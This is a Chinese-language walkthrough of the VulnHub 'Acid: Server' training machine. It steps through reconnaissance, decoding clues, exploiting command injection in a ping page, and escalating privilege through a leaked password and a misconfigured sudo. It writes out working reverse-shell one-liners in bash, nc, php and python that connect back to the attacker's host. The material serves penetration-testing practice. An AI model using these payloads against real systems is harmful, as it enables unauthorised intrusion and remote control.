ACID: SERVER靶机入侵笔记
1、环境搭建
下载地址: https://download.vulnhub.com/acid/Acid.rar
下载后用 VMware 或者 VirtualBox 打开,并配置好网卡,靶机与攻击机应置于同一网络下,靶机默认是桥接模式,能用攻击机连接到就行。这里连接到虚拟网卡1。
2、信息收集
-
主机发现
使用nmap进行主机探测(-sP参数也可):nmap -sn 192.168.110.1/24
图丢了 ·········
192.168.110.133,为靶机ip,也可以使用Kali中的arp-scan工具扫描:arp-scan 192.168.110.1/24
-
端口扫描
使用nmap扫描端口,并做服务识别和深度扫描(加-A参数):nmap -p- -A 192.168.110.133
发现只开放了33447端口Apache服务,Ubuntu系统
3、漏洞探测
靶机只开启了33447端口,所以应该只能从这里突破了
- 查看源码寻找线索
首页源代码尾部发现一串字符串,想起了首页的提示
这应该是一个关键线索,编码加密过的提示信息:0x643239334c6d70775a773d3d
0x是16进制编码,将值643239334c6d70775a773d3d进行ASCII hex转码,变成:d293LmpwZw==
发现是base64编码,再进行解码,得到图片信息 wow.jpg
这时可以根据经验在首页直接加目录打:/image/wow.jpg 或者 /images/wow.jpg 或者 /icon/wow.jpg 网站的图片目录通常是这样命名。也可以利用dirbuster进行目录爆破,得到图片目录images。
最后在http://192.168.110.133:33447/images/wow.jpg找到图片。下载图片,用Notepad++打开寻找有用信息
在图片最后又找到一串字符串
37:61:65:65:30:66:36:64:35:38:38:65:64:39:39:30:35:65:65:33:37:66:31:36:61:37:63:36:31:30:64:34
转码得到一串MD5值:7aee0f6d588ed9905ee37f16a7c610d4
解密得到63425
暂时不知道有什么用,先记下
-
目录扫描
用了几个字典没有跑出什么来,这时注意到首页title的目录提示
访问发现是一个邮箱登录页面,先记录下,看后面能不能找到账号密码,再次爆破目录
依次访问,访问include.php发现可以文件包含,暂时没可利用的地方
发现cake.php需要登录才能访问,且页面title有目录提示
继续对/Magic_Box/子目录扫描
发现command.php页面是ping指定ip的功能,意味着可以构造命令执行
-
利用命令执行反弹shell
攻击机开启监听,构造反弹shell命令
为避免转义和中断,在get、post请求中输入payload需要进行url编码。尝试bash反弹shell、nc反弹shell,如下payload都失败
bash -i >& /dev/tcp/192.168.110.128/10086 0>&1 nc -e /bin/bash -d 192.168.110.128 10086
后面验证下面的payload可以成功
bash -c 'bash -i >& /dev/tcp/192.168.110.128/10086 0>&1' php -r '$sock=fsockopen("192.168.64.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
利用python反弹获得shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.110.128",10086));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
4、提权
-
使用python获得交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
-
sudo -l和find / -perm -4000 -print 2>/dev/null 试了一下不能直接提权到root
-
在tmp目录试了一下,wget、gcc命令不存在,这个靶机应该不能直接用内核提权,应该找一下看能不能找到密码
-
查看用户
除root外还存在acid 和saman两个用户,想办法提权到任意一个
-
查看用户文件
这类提权一般是通过文件中查找普通用户密码,进而通过sudo或者suid提权,因此查找用户文件这条命令必不可少需要记忆并熟练使用
find / -user acid 2>/dev/null
查看acid所属文件,发现流量包hint.pcapng
-
分析流量包
将流量表拷贝到web目录,下载下来
使用Wireshark分析流量包,发现saman用户的密码:1337hax0r
- 使用su切换到saman用户
-
sudo -l提权
发现sudo配置不当,权限过大
直接使用sudo -i 切换到root权限
game over!